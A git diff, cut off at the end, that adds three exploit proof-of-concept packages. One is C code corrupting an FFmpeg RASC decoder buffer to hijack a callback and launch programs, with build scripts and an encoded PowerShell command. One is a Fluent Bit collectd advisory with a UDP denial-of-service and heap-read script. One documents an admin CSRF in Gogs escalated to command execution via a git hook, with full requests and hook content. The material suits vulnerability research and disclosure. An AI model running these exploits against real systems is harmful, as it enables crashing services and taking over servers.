+#else +#define MARKER_PATH "/tmp/ffmpeg_rasc_dlta_calc_poc_marker" +#endif + +typedef void (*demo_callback)(void); + +typedef struct DemoChunk { + uint8_t plane[FRAME_W]; + demo_callback cb; + uint8_t palette[1024]; +} DemoChunk; + +static DemoChunk *frame1_chunk; +static DemoChunk *frame2_chunk; + +static void benign_callback(void) +{ + puts("[callback] benign callback reached"); +} + +static int run_command(const char *cmd) +{ + return cmd && cmd[0] && system(cmd) == 0; +} + +static void calc_callback(void) +{ + const char *override_cmd = getenv("RASC_CALC_CMD"); + const char *commands[] = { + "open -a Calculator >/dev/null 2>&1", + "gnome-calculator >/dev/null 2>&1 &", + "kcalc >/dev/null 2>&1 &", + "mate-calc >/dev/null 2>&1 &", + "qalculate-gtk >/dev/null 2>&1 &", + "xcalc >/dev/null 2>&1 &", + "powershell.exe -NoProfile -Command Start-Process calc.exe >/dev/null 2>&1 &", + "cmd.exe /c start calc.exe >/dev/null 2>&1" + }; + FILE *marker; + + puts("[callback] hijacked callback reached"); + marker = fopen(MARKER_PATH, "wb"); + if (marker) { + fputs("callback reached\n", marker); + fclose(marker); + } + + if (run_command(override_cmd)) + return; + + for (size_t i = 0; i < sizeof(commands) / sizeof(commands[0]); i++) { + if (run_command(commands[i])) + return; + } + + printf("[callback] calculator command not found; marker written to %s\n", MARKER_PATH); +} + +static void free_demo_chunk(void *opaque, uint8_t *data) +{ + (void)opaque; + av_free(data); +} + +static void put_le16(uint8_t *p, uint16_t v) +{ + p[0] = (uint8_t)v; + p[1] = (uint8_t)(v >> 8); +} + +static void put_le32(uint8_t *p, uint32_t v) +{ + p[0] = (uint8_t)v; + p[1] = (uint8_t)(v >> 8); + p[2] = (uint8_t)(v >> 16); + p[3] = (uint8_t)(v >> 24); +} + +static void make_chunk(uint8_t **cursor, uint32_t tag, uint32_t body_size) +{ + put_le32(*cursor, tag); + put_le32(*cursor + 4, body_size); + *cursor += 8; +} + +static uint8_t *make_packet(size_t *packet_size, uintptr_t target_addr) +{ + const uint32_t init_body_size = 72 + 1024; + const uint32_t dlta_cmd_size = 6; + const uint32_t dlta_body_size = 40 + dlta_cmd_size; + const size_t total = 8 + init_body_size + 8 + dlta_body_size; + uint8_t *packet = av_mallocz(total); + uint8_t *p = packet; + uint8_t *body; + uint32_t fill; + + if (!packet) + return NULL; + + make_chunk(&p, RASC_INIT, init_body_size); + body = p; + put_le32(body + 0, 0x65); + put_le32(body + 8, FRAME_W); + put_le32(body + 12, FRAME_H); + put_le16(body + 46, 8); + for (int i = 0; i < 256; i++) + put_le32(body + 72 + 4 * i, 0xff000000u | (uint32_t)(i * 0x010101u)); + p += init_body_size; + + make_chunk(&p, RASC_DLTA, dlta_body_size); + body = p; + put_le32(body + 12, dlta_cmd_size); + put_le32(body + 16, FRAME_W - 1); + put_le32(body + 20, 0); + put_le32(body + 24, 1); + put_le32(body + 28, 1); + put_le32(body + 36, 0); + + fill = (uint32_t)(((target_addr & 0x00ffffffu) << 8) | 0x41u); + body[40] = 7; + body[41] = 1; + put_le32(body + 42, fill); + + *packet_size = total; + return packet; +} + +static int exploit_get_buffer2(AVCodecContext *ctx, AVFrame *frame, int flags) +{ + static int allocation_index; + DemoChunk *chunk; + + (void)flags; + if (ctx->pix_fmt != AV_PIX_FMT_PAL8 || frame->width != FRAME_W || frame->height != FRAME_H) + return AVERROR(EINVAL); + + chunk = av_mallocz(sizeof(*chunk)); + if (!chunk) + return AVERROR(ENOMEM); + + chunk->cb = benign_callback; + frame->buf[0] = av_buffer_create((uint8_t *)chunk, sizeof(*chunk), free_demo_chunk, NULL, 0); + if (!frame->buf[0]) { + av_free(chunk); + return AVERROR(ENOMEM); + } + + frame->data[0] = chunk->plane; + frame->data[1] = chunk->palette; + frame->linesize[0] = FRAME_W; + frame->extended_data = frame->data; + + if (allocation_index == 0) + frame1_chunk = chunk; + else if (allocation_index == 1) + frame2_chunk = chunk; + allocation_index++; + + return 0; +} + +static void fail_av(const char *what, int err) +{ + char buf[AV_ERROR_MAX_STRING_SIZE]; + av_strerror(err, buf, sizeof(buf)); + fprintf(stderr, "%s failed: %s (%d)\n", what, buf, err); + exit(1); +} + +int main(void) +{ + const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_RASC); + AVCodecContext *ctx = NULL; + AVPacket *pkt = NULL; + AVFrame *frame = NULL; + uint8_t *packet_data = NULL; + size_t packet_size = 0; + int ret; + + remove(MARKER_PATH); + + if (!codec) { + fputs("RASC decoder missing\n", stderr); + return 1; + } + + printf("[addr] benign_callback=%p\n", (void *)benign_callback); + printf("[addr] calc_callback=%p\n", (void *)calc_callback); + if ((((uintptr_t)benign_callback) >> 24) != (((uintptr_t)calc_callback) >> 24)) { + fputs("callbacks outside 24-bit overwrite window\n", stderr); + return 1; + } + + ctx = avcodec_alloc_context3(codec); + pkt = av_packet_alloc(); + frame = av_frame_alloc(); + if (!ctx || !pkt || !frame) + fail_av("allocation", AVERROR(ENOMEM)); + + ctx->thread_count = 1; + ctx->get_buffer2 = exploit_get_buffer2; + + ret = avcodec_open2(ctx, codec, NULL); + if (ret < 0) + fail_av("avcodec_open2", ret); + + packet_data = make_packet(&packet_size, (uintptr_t)calc_callback); + if (!packet_data) + fail_av("make_packet", AVERROR(ENOMEM)); + + ret = av_new_packet(pkt, (int)packet_size); + if (ret < 0) + fail_av("av_new_packet", ret); + memcpy(pkt->data, packet_data, packet_size); + av_free(packet_data); + + ret = avcodec_send_packet(ctx, pkt); + if (ret < 0) + fail_av("avcodec_send_packet", ret); + + ret = avcodec_receive_frame(ctx, frame); + if (ret != 0 && ret != AVERROR(EAGAIN) && ret != AVERROR_EOF) + fail_av("avcodec_receive_frame", ret); + + if (!frame2_chunk) { + fputs("frame2 allocation missing\n", stderr); + return 1; + } + + printf("[ptr] frame1 callback after decode=%p\n", (void *)frame1_chunk->cb); + printf("[ptr] frame2 callback after decode=%p\n", (void *)frame2_chunk->cb); + printf("[ptr] expected target=%p\n", (void *)calc_callback); + + if (frame2_chunk->cb != calc_callback) { + fputs("callback pointer unchanged\n", stderr); + return 1; + } + + puts("[ok] media-controlled RASC DLTA overwrite redirected callback"); + frame2_chunk->cb(); + + av_frame_free(&frame); + av_packet_free(&pkt); + avcodec_free_context(&ctx); + return 0; +} diff --git a/ffmpeg-rasc-dlta-calc-poc/poc/rasc_dlta_os_helper.py b/ffmpeg-rasc-dlta-calc-poc/poc/rasc_dlta_os_helper.py new file mode 100644 index 0000000..80e2c8e --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/poc/rasc_dlta_os_helper.py @@ -0,0 +1,199 @@ +import argparse +import os +import platform +import shutil +import subprocess +import sys +from pathlib import Path + + +def in_wsl(): + if "WSL_DISTRO_NAME" in os.environ: + return True + try: + return "microsoft" in Path("/proc/version").read_text(errors="ignore").lower() + except OSError: + return False + + +def host_name(): + name = platform.system().lower() + if in_wsl(): + return "wsl" + if name == "darwin": + return "macos" + if name == "linux": + return "linux" + if name == "windows": + return "windows" + return name or "unknown" + + +def command_program(command): + parts = command.split() + if len(parts) >= 2 and parts[0].lower() in {"cmd.exe", "cmd"} and parts[1].lower() == "/c": + return parts[0] + return parts[0] if parts else "" + + +def command_exists(command): + program = command_program(command) + if not program: + return False + if program.lower() == "open" and host_name() == "macos": + return shutil.which("open") is not None + if program.lower() in {"cmd.exe", "powershell.exe"} and host_name() == "windows": + return True + return shutil.which(program) is not None + + +def calc_candidates(): + host = host_name() + if host == "macos": + return ["open -a Calculator"] + if host == "windows": + return ["cmd.exe /c start calc.exe", "powershell.exe -NoProfile -Command Start-Process calc.exe"] + if host == "wsl": + return [ + "powershell.exe -NoProfile -Command Start-Process calc.exe", + "cmd.exe /c start calc.exe", + "gnome-calculator", + "kcalc", + "mate-calc", + "qalculate-gtk", + "xcalc", + ] + return ["gnome-calculator", "kcalc", "mate-calc", "qalculate-gtk", "xcalc"] + + +def choose_calc_command(preferred): + if preferred: + return preferred + for command in calc_candidates(): + if command_exists(command): + return command + return "" + + +def run(args, cwd=None, env=None): + print("+ " + " ".join(str(x) for x in args), flush=True) + subprocess.run([str(x) for x in args], cwd=cwd, env=env, check=True) + + +def require_tool(name): + path = shutil.which(name) + if not path: + raise SystemExit(f"missing required tool: {name}") + return path + + +def clone_ffmpeg(src, ref): + if (src / ".git").exists(): + run(["git", "-C", src, "fetch", "--depth", "1", "origin", ref]) + run(["git", "-C", src, "checkout", "FETCH_HEAD"]) + return + run(["git", "clone", "--depth", "1", "https://github.com/FFmpeg/FFmpeg.git", src]) + if ref and ref != "master": + run(["git", "-C", src, "fetch", "--depth", "1", "origin", ref]) + run(["git", "-C", src, "checkout", "FETCH_HEAD"]) + + +def compiler(): + for name in [os.environ.get("CC"), "cc", "gcc", "clang"]: + if name and shutil.which(name): + return name + raise SystemExit("missing C compiler: set CC or install gcc/clang") + + +def build_poc(options): + root = Path(__file__).resolve().parents[1] + src = Path(options.ffmpeg_src).expanduser().resolve() + build = Path(options.build_dir).expanduser().resolve() + output = Path(options.output).expanduser().resolve() + source_file = root / "poc" / "ffmpeg_rasc_dlta_calc_poc_portable.c" + cc = compiler() + + require_tool("git") + require_tool("make") + clone_ffmpeg(src, options.ffmpeg_ref) + build.mkdir(parents=True, exist_ok=True) + + configure = [ + src / "configure", + "--enable-debug", + "--disable-doc", + "--disable-stripping", + "--disable-x86asm", + "--disable-programs", + "--disable-autodetect", + "--disable-everything", + "--enable-zlib", + "--enable-decoder=rasc", + ] + run(configure, cwd=build) + run(["make", f"-j{options.jobs}", "libavcodec/libavcodec.a", "libavutil/libavutil.a"], cwd=build) + + libs = ["-lz", "-lm", "-pthread"] + if host_name() not in {"macos", "windows"}: + libs.append("-ldl") + + compile_cmd = [ + cc, + "-g", + "-O0", + f"-I{build}", + f"-I{src}", + source_file, + build / "libavcodec/libavcodec.a", + build / "libavutil/libavutil.a", + *libs, + "-o", + output, + ] + run(compile_cmd) + return output + + +def run_poc(binary, calc_command): + env = os.environ.copy() + if calc_command: + env["RASC_CALC_CMD"] = calc_command + print(f"selected calc command: {calc_command}", flush=True) + else: + print("no local calculator command found; marker file still proves callback execution", flush=True) + run([binary], env=env) + marker = Path("ffmpeg_rasc_dlta_calc_poc_marker.txt") if host_name() == "windows" else Path("/tmp/ffmpeg_rasc_dlta_calc_poc_marker") + if marker.exists(): + print(f"marker:present {marker}", flush=True) + else: + print(f"marker:missing {marker}", flush=True) + + +def main(): + parser = argparse.ArgumentParser(description="Build and run the portable FFmpeg RASC DLTA calc PoC for this OS.") + parser.add_argument("--mode", choices=["print", "build", "run"], default="run") + parser.add_argument("--ffmpeg-src", default="/tmp/ffmpeg-rasc-dlta-src") + parser.add_argument("--build-dir", default="/tmp/ffmpeg-rasc-dlta-build") + parser.add_argument("--output", default="./ffmpeg_rasc_dlta_calc_poc_portable") + parser.add_argument("--ffmpeg-ref", default="master") + parser.add_argument("--calc-cmd", default="") + parser.add_argument("--jobs", default=str(os.cpu_count() or 4)) + options = parser.parse_args() + + calc_command = choose_calc_command(options.calc_cmd) + print(f"host: {host_name()}", flush=True) + print(f"calc command: {calc_command or 'not found'}", flush=True) + + if options.mode == "print": + return + + binary = build_poc(options) + if options.mode == "run": + run_poc(binary, calc_command) + + +if __name__ == "__main__": + try: + main() + except subprocess.CalledProcessError as exc: + sys.exit(exc.returncode) diff --git a/ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh b/ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh new file mode 100755 index 0000000..c2760dd --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh @@ -0,0 +1,36 @@ +#!/usr/bin/env bash +set -euo pipefail + +src="${1:?usage: build_from_checkout.sh /path/to/ffmpeg-checkout [build-dir] [output-bin]}" +build="${2:-/tmp/ffmpeg-rasc-dlta-build}" +out="${3:-./ffmpeg_rasc_dlta_calc_poc}" +root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +jobs="${JOBS:-$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)}" +cc="${CC:-gcc}" + +mkdir -p "$build" +cd "$build" + +"$src/configure" \ + --enable-debug \ + --disable-doc \ + --disable-stripping \ + --disable-x86asm \ + --disable-programs \ + --disable-autodetect \ + --disable-everything \ + --enable-zlib \ + --enable-decoder=rasc + +make -j"$jobs" libavcodec/libavcodec.a libavutil/libavutil.a + +"$cc" -g -O0 \ + -I"$build" \ + -I"$src" \ + "$root/poc/ffmpeg_rasc_dlta_calc_poc.c" \ + "$build/libavcodec/libavcodec.a" \ + "$build/libavutil/libavutil.a" \ + -lz -lm -pthread -ldl \ + -o "$out" + +printf '%s\n' "$out" diff --git a/ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh b/ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh new file mode 100755 index 0000000..c47851b --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh @@ -0,0 +1,20 @@ +#!/usr/bin/env bash +set -euo pipefail + +bin="${1:-./ffmpeg_rasc_dlta_calc_poc}" +marker="/tmp/ffmpeg_rasc_exec_demo" + +rm -f "$marker" +"$bin" +sleep 2 + +if [ -f "$marker" ]; then + echo "marker:present" +else + echo "marker:missing" + exit 1 +fi + +if command -v powershell.exe >/dev/null 2>&1; then + powershell.exe -NoProfile -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAQwBhAGwAYwB1AGwAYQB0AG8AcgBBAHAAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAAUAByAG8AYwBlAHMAcwBOAGEAbQBlACwASQBkACwAUwB0AGEAcgB0AFQAaQBtAGUA 2>/dev/null || true +fi diff --git a/fluentbit-infinite-dos/fluentbit-unauth-dos-loop.md b/fluentbit-infinite-dos/fluentbit-unauth-dos-loop.md new file mode 100644 index 0000000..c298219 --- /dev/null +++ b/fluentbit-infinite-dos/fluentbit-unauth-dos-loop.md @@ -0,0 +1,274 @@ +# Fluent Bit ≤ main@29deec9: in_collectd Infinite Loop DoS + OOB Heap Read via Zero-Length Part + +## Summary + +Fluent Bit's collectd binary protocol parser (`plugins/in_collectd/netprot.c`) contains two related vulnerabilities triggered by a single 4-byte UDP packet: + +1. **Infinite loop DoS** — when the `part_len` field in a collectd binary protocol part header is `0`, the main parsing loop `while (len >= 4)` never terminates. `len -= part_len` and `buf += part_len` both become no-ops, permanently hanging the collectd input thread. Any external host that can reach the collectd UDP port can freeze Fluent Bit's data ingestion from all collectd sources with a single 4-byte packet. + +2. **8-byte heap OOB read** — when `part_len=0` and `part_type=PART_TIME` (or `PART_TIME_HR`, `PART_INTERVAL`, `PART_INTERVAL_HR`), a secondary guard intended to catch truncated time fields fails silently due to a signed/unsigned integer comparison bug (`int size = -4` compared against `size_t 8` — the negative int wraps to a huge unsigned value, making the check `false`). The parser then calls `be64read(buf + 4)` — reading 8 bytes starting 4 bytes past the end of a 4-byte packet — leaking adjacent heap memory. + +--- + +## Target + +| Field | Value | +|---|---| +| **Project** | Fluent Bit (https://github.com/fluent/fluent-bit) | +| **Version / commit** | main @ `29deec9e72a5e1ccc9996a58481bc7ba4d60353d` (2026-04-20); all prior versions with in_collectd | +| **File** | `plugins/in_collectd/netprot.c` | +| **Function** | `netprot_to_msgpack()` — line 237 | +| **Affected configurations** | Any Fluent Bit deployment with `[INPUT] Name collectd` (UDP port 25826 by default) | + +--- + +## Vulnerability Class + +1. **Infinite loop denial of service** — missing lower-bound check on a network-supplied length field +2. **Heap out-of-bounds read** — signed/unsigned comparison suppresses a truncation guard, then `be64read` reads past the allocated UDP packet buffer + +--- + +## Root Cause + +### Bug 1 — Infinite Loop (part_len = 0) + +```c +// plugins/in_collectd/netprot.c:237 +int netprot_to_msgpack(char *buf, int len, ...) +{ + uint16_t part_type; + uint16_t part_len; + int size; + char *ptr; + + while (len >= 4) { // [1] loop exits only when len < 4 + part_type = be16read(buf); + part_len = be16read((unsigned char *) buf + 2); + + if (len < part_len) { // [2] if part_len=0: 4 < 0u → FALSE + flb_error("[in_collectd] data truncated (%i < %i)", len, part_len); + return -1; + } + + ptr = buf + 4; + size = part_len - 4; // [3] size = 0 - 4 = -4 (signed int) + + // ... switch on part_type ... + + len -= part_len; // [4] len -= 0 → len unchanged + buf += part_len; // [5] buf += 0 → buf unchanged + } // → back to [1]: same state → infinite loop + return 0; +} +``` + +The guard at `[2]` uses `int len` vs `uint16_t part_len`. Both values are non-negative and `uint16_t` promotes to `int`, so the comparison is `int < int`. When `part_len=0`, the check is `4 < 0` = false — the guard does not fire. Lines `[4]` and `[5]` are no-ops, and the loop condition at `[1]` is permanently satisfied. + +The thread spins at 100% CPU until the Fluent Bit process is killed or restarted. + +### Bug 2 — OOB Heap Read (part_len = 0, part_type = PART_TIME) + +```c +// line 258 +if ((part_type == PART_TIME || + part_type == PART_TIME_HR || + part_type == PART_INTERVAL || + part_type == PART_INTERVAL_HR) && + size < sizeof(uint64_t)) { // [6] BUG: signed/unsigned comparison + flb_error("[in_collectd] data truncated (%i < %zu)", size, sizeof(uint64_t)); + return -1; +} + +// line 275 +case PART_TIME: + hdr.time = (double) be64read(ptr); // [7] be64read(buf+4) — OOB if packet is 4 bytes + break; +``` + +At `[6]`: `size` is `int` and `sizeof(uint64_t)` is `size_t` (unsigned). When `size = -4`, the C integer promotion rules convert the `int` to `size_t`: `(size_t)(-4)` = `0xFFFFFFFC` (32-bit) or `0xFFFFFFFFFFFFFFFC` (64-bit) — a huge positive value. The comparison `huge < 8` is `false`. The guard intended to catch truncated time fields does not fire. + +At `[7]`: `ptr = buf + 4`. For a 4-byte UDP packet, `buf + 4` points one byte past the end of the allocated packet buffer. `be64read` reads 8 bytes starting there — leaking 8 bytes of adjacent heap memory. + +**Verification:** +```python +>>> import ctypes +>>> size = ctypes.c_int(-4).value # int -4 +>>> ctypes.c_ulong(size).value # promoted to size_t +4294967292 +>>> 4294967292 < 8 # the guard check +False +# Guard does not fire → be64read called with out-of-bounds ptr +``` + +--- + +## Attacker Model + +| Property | Value | +|---|---| +| **Privileges required** | None — unauthenticated UDP | +| **Network position** | Any host that can reach the collectd UDP port (default 25826) | +| **User interaction** | None | +| **Precondition** | `[INPUT] Name collectd` configured in Fluent Bit | + +The collectd input plugin listens on a raw UDP socket. There is no authentication, session state, or rate limiting in the parsing path. A single 4-byte packet is sufficient to trigger the infinite loop. + +--- + +## Full Attack Chain + +``` +[Attacker — any host] + | + | 1. Send 4-byte UDP packet to Fluent Bit collectd port (default 25826): + | bytes: \x00\x00\x00\x00 + | part_type = 0x0000 (PART_HOST) + | part_len = 0x0000 → infinite loop trigger + | + v +[Fluent Bit in_collectd input thread] + | + | 2. netprot_to_msgpack() called with buf=[4 bytes], len=4 + | Loop: len(4) >= 4 → enter + | part_type=0, part_len=0 + | Guard: 4 < 0 → FALSE → no exit + | len -= 0 → len=4 (unchanged) + | buf += 0 → buf unchanged + | → Loop repeats forever + | + v +[in_collectd input thread spins at 100% CPU indefinitely] +[All subsequent collectd events are blocked — no new data ingested] +[Fluent Bit process must be restarted to recover] + +For OOB read variant: + | + | 1. Send \x00\x01\x00\x00 (part_type=PART_TIME=0x0001, part_len=0) + | + v +[be64read(buf+4) reads 8 bytes past end of 4-byte packet] +[8 bytes of adjacent heap memory leaked into hdr.time] +[Then infinite loop begins] +``` + +--- + +## Proof of Concept + +### poc_fluent_bit_collectd_dos.py + +```python +#!/usr/bin/env python3 +""" +poc_fluent_bit_collectd_dos.py +Fluent Bit in_collectd Infinite Loop DoS + +Root cause: + netprot_to_msgpack() in plugins/in_collectd/netprot.c: + - part_len=0 → len -= 0, buf += 0 → infinite loop + - Guard (len < part_len) does not fire: 4 < 0u → false + +Trigger: + Send a 4-byte UDP packet with part_len=0 to the collectd port. + A single packet permanently hangs the Fluent Bit collectd input thread. + +Usage: + python3 poc_fluent_bit_collectd_dos.py [--host 127.0.0.1] [--port 25826] + +Expected result: + Fluent Bit collectd input thread spins at 100% CPU. + No further collectd events are processed until Fluent Bit is restarted. +""" + +import socket +import sys +import argparse +import struct + +DEFAULT_HOST = "127.0.0.1" +DEFAULT_PORT = 25826 + + +def build_infinite_loop_packet(): + """ + Minimal collectd binary protocol packet that triggers the infinite loop. + Format: [part_type: uint16_be][part_len: uint16_be] + part_type = 0x0000 (PART_HOST) — any valid type works + part_len = 0x0000 — triggers len-=0, buf+=0 infinite loop + """ + return struct.pack(">HH", 0x0000, 0x0000) + + +def build_oob_read_packet(): + """ + OOB read variant: part_type=PART_TIME (0x0001), part_len=0. + Causes be64read(buf+4) on a 4-byte packet before the infinite loop. + Leaks 8 bytes of adjacent heap memory into hdr.time. + """ + return struct.pack(">HH", 0x0001, 0x0000) + + +def main(): + parser = argparse.ArgumentParser( + description="Fluent Bit in_collectd infinite loop DoS PoC" + ) + parser.add_argument("--host", default=DEFAULT_HOST) + parser.add_argument("--port", type=int, default=DEFAULT_PORT) + parser.add_argument( + "--variant", + choices=["dos", "oob"], + default="dos", + help="dos: infinite loop only; oob: OOB heap read + infinite loop", + ) + args = parser.parse_args() + + if args.variant == "dos": + pkt = build_infinite_loop_packet() + label = "infinite loop DoS (part_type=PART_HOST, part_len=0)" + else: + pkt = build_oob_read_packet() + label = "OOB heap read + infinite loop (part_type=PART_TIME, part_len=0)" + + print(f"[*] Fluent Bit in_collectd — {label}") + print(f"[*] Target: {args.host}:{args.port}/UDP") + print(f"[*] Packet ({len(pkt)} bytes): {pkt.hex()}") + + assert len(pkt) == 4, "packet must be exactly 4 bytes" + + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.sendto(pkt, (args.host, args.port)) + sock.close() + + print("[+] Packet sent.") + print("[+] Verify:") + print(" top -p $(pgrep fluent-bit) # expect 100% CPU on collectd input thread") + print(" fluent-bit log should show no new collectd events arriving") + print(" kill -9 $(pgrep fluent-bit) # only way to recover") + + +if __name__ == "__main__": + main() +``` + +### Expected output in Fluent Bit: + +The collectd input thread enters an infinite loop. CPU usage for the Fluent Bit process rises to near-100% on one core. No new collectd events are processed. The Fluent Bit process must be killed and restarted to recover. No crash log or error message is produced — the process appears "alive" but is deadlocked in the parsing loop. + +--- + +## Impact + +1. **Reliable, permanent DoS of collectd data ingestion** — a single 4-byte UDP packet hangs the collectd input thread. Because Fluent Bit is single-threaded per input plugin, all collectd data forwarding stops. + +2. **No authentication or rate limiting** — the collectd port accepts unauthenticated UDP packets. Any host on the network (or internet, if the port is exposed) can trigger the hang. + +3. **Silent failure** — Fluent Bit does not detect the hang. No error is logged, no alert is raised. Operators may not notice for an extended period, depending on monitoring. + +4. **Heap OOB read (secondary)** — the `PART_TIME` variant leaks 8 bytes of adjacent heap memory into `hdr.time`. In practice this is difficult to weaponize (double cast of heap data) but may contribute to a more complex chain. + +**CVSS 3.1 (DoS):** `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` → **7.5 (High)** + +(No authentication required, single packet, complete availability loss for the plugin) + +--- diff --git a/gogs-admin-csrf-git-hook-rce-poc/.gitignore b/gogs-admin-csrf-git-hook-rce-poc/.gitignore new file mode 100644 index 0000000..21956f0 --- /dev/null +++ b/gogs-admin-csrf-git-hook-rce-poc/.gitignore @@ -0,0 +1,3 @@ +_work/ +__pycache__/ +proof.json diff --git a/gogs-admin-csrf-git-hook-rce-poc/README.md b/gogs-admin-csrf-git-hook-rce-poc/README.md new file mode 100644 index 0000000..12506e8 --- /dev/null +++ b/gogs-admin-csrf-git-hook-rce-poc/README.md @@ -0,0 +1,231 @@ +# Gogs Admin User Edit CSRF to Git Hook RCE PoC + +This entry documents and exercises a state-changing request flaw in Gogs `0.15.0+dev`. + +An authenticated site administrator can be induced to submit the existing admin user-edit form for an attacker-controlled account. The request grants the attacker account site-admin rights and Git hook editing rights. The attacker can then write a repository `post-receive` hook through the stock Gogs hook editor and trigger command execution with a normal Git push. + +## Affected Target + +- Product: Gogs +- Version verified: `0.15.0+dev` +- Commit tested: `5f51118ab513522462a54cef30599d7ddffcc55f` +- Feature path: classic web admin routes and repository Git hook settings +- Required attacker account: a normal local user account +- Required victim interaction: a logged-in site administrator submits an attacker-controlled request + +## Impact + +The chain turns one authenticated browser request from a site administrator into command execution as the Gogs server process. + +After the account mutation, the attacker account can reach site-admin pages and repository Git hook settings. A `post-receive` hook written through the stock web route runs during a later HTTP Git push. + +## Source Trace + +Relevant source locations in Gogs `0.15.0+dev`: + +| File | Behavior | +| --- | --- | +| `cmd/gogs/internal/web/web.go` | Registers `POST /admin/users/:userid` | +| `cmd/gogs/internal/web/web.go` | Installs session and context middleware around classic web routes | +| `templates/admin/user/edit.tmpl` | Renders the admin edit form without a CSRF token field | +| `templates/admin/user/edit.tmpl` | Exposes `admin` and `allow_git_hook` checkboxes | +| `internal/form/admin.go` | Binds `Admin` and `AllowGitHook` into `AdminEditUser` | +| `internal/route/admin/users.go` | Writes `IsAdmin` and `AllowGitHook` to the selected user | +| `internal/context/repo.go` | Allows site admins through repository-admin checks | +| `internal/context/repo.go` | Allows Git hook editing when `CanEditGitHook()` is true | +| `internal/database/users.go` | Returns true for `CanEditGitHook()` when the user is admin or hook-enabled | +| `internal/route/repo/setting.go` | Writes attacker-supplied hook content | +| `cmd/gogs/hook.go` | Executes `custom_hooks/post-receive` during pushes | + +The state-change path is: + +```text +POST /admin/users/:userid + bind AdminEditUser + Admin + AllowGitHook + admin.EditUserPost + database.UpdateUserOptions + IsAdmin + AllowGitHook + database.Handle.Users().Update() +``` + +The command execution path is: + +```text +POST /:owner/:repo/settings/hooks/git/post-receive + context.RequireRepoAdmin() + context.GitHookService() + repo.SettingsGitHooksEditPost() + hook.Update(content) + +git push + gogs hook post-receive + custom_hooks/post-receive +``` + +## PoC Design + +`poc.py` drives the stock HTTP interface and the stock Git smart HTTP path. It: + +1. Starts with a normal attacker account and a logged-in site-admin session. +2. Sends the admin user-edit POST for the attacker account with cross-site request headers. +3. Logs in as the attacker and confirms the web API now reports site-admin status. +4. Creates an attacker-owned repository through `/repo/create`. +5. Writes a `post-receive` hook through `/settings/hooks/git/post-receive`. +6. Clones the repository over HTTP Git. +7. Commits and pushes a trigger file. +8. Prints the repository, marker path, Git push output, and optional local marker contents. + +The script uses Python standard library APIs and the system `git` command. + +## Requirements + +- Python 3.10 or newer +- Git command-line client +- A running stock Gogs `0.15.0+dev` instance +- One site-admin session or site-admin username and password for validation +- One normal attacker account +- The numeric user id and email address of the attacker account +- A server-side marker path writable by the Gogs process + +## Quick Run + +Start from a stock Gogs instance with: + +- site admin: `siteadmin` / `AdminPass123!` +- attacker: `attacker` / `AttackerPass123!` +- attacker id: `2` +- attacker email: `attacker@example.test` + +Run: + +```bash +python poc.py \ + --target-base http://127.0.0.1:38081 \ + --admin-user siteadmin \ + --admin-password 'AdminPass123!' \ + --attacker-user attacker \ + --attacker-password 'AttackerPass123!' \ + --attacker-id 2 \ + --attacker-email attacker@example.test \ + --repo gogs-hook-proof \ + --marker-path /tmp/gogs_hook_proof.txt \ + --output proof.json +``` + +Expected output shape: + +```json +{ + "targetBase": "http://127.0.0.1:38081", + "attackerUser": "attacker", + "attackerId": 2, + "attackerInfo": { + "username": "attacker", + "avatarURL": "http://127.0.0.1:38081/avatars/2", + "isAdmin": true, + "canCreateOrganization": true + }, + "repository": "attacker/gogs-hook-proof", + "markerPath": "/tmp/gogs_hook_proof.txt", + "localMarker": null, + "pushStdout": "", + "pushStderr": "To http://127.0.0.1:38081/attacker/gogs-hook-proof.git\n..." +} +``` + +For a local validation target, pass `--local-marker` with the host path that corresponds to the server-side marker file. The script will print the marker contents after the push. + +## Existing Admin Session Mode + +To model a request delivered through an already-authenticated administrator browser, pass the administrator session cookie directly: + +```bash +python poc.py \ + --target-base http://127.0.0.1:38081 \ + --admin-cookie 'i_like_gogs=SESSION_VALUE' \ + --attacker-user attacker \ + --attacker-password 'AttackerPass123!' \ + --attacker-id 2 \ + --attacker-email attacker@example.test \ + --marker-path /tmp/gogs_hook_proof.txt +``` + +The submitted admin request contains: + +```text +Origin: https://example.invalid +Referer: https://example.invalid/submit.html +Sec-Fetch-Site: cross-site +Sec-Fetch-Mode: navigate +``` + +The form body grants both account controls: + +```text +login_type=0-0 +email=attacker@example.test +max_repo_creation=-1 +active=on +admin=on +allow_git_hook=on +``` + +## Validation Run + +The validation run used a clean stock Gogs checkout at `5f51118ab513522462a54cef30599d7ddffcc55f`, built as `0.15.0+dev`, running on Linux with SQLite and HTTP Git enabled. + +Initial users: + +```text +(1, 'siteadmin', 'siteadmin@example.test', 1, 0, 1) +(2, 'attacker', 'attacker@example.test', 0, 0, 1) +``` + +The forged admin POST returned a redirect to the edited attacker account, and the attacker row changed to: + +```text +(2, 'attacker', 'attacker@example.test', 1, 1, 1) +``` + +The hook written through Gogs was: + +```sh +#!/bin/sh +id > /mnt/d/gogs-proof-validation/tmp/gogs_hook_proof.txt +pwd >> /mnt/d/gogs-proof-validation/tmp/gogs_hook_proof.txt +``` + +A normal HTTP Git push triggered the hook and created: + +```text +uid=1000(owner) gid=1000(owner) groups=1000(owner),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users) +/mnt/d/gogs-proof-validation/repositories/attacker/gogs-hook-proof.git +``` + +Relevant server log lines from the stock instance: + +```text +Account updated by admin "siteadmin": attacker +Repository created [1]: attacker/gogs-hook-proof +[Git] Authenticated user: attacker +TriggerTask: attacker/gogs-hook-proof@master by "attacker" +``` + +## Browser Delivery Requirements + +The server-side request 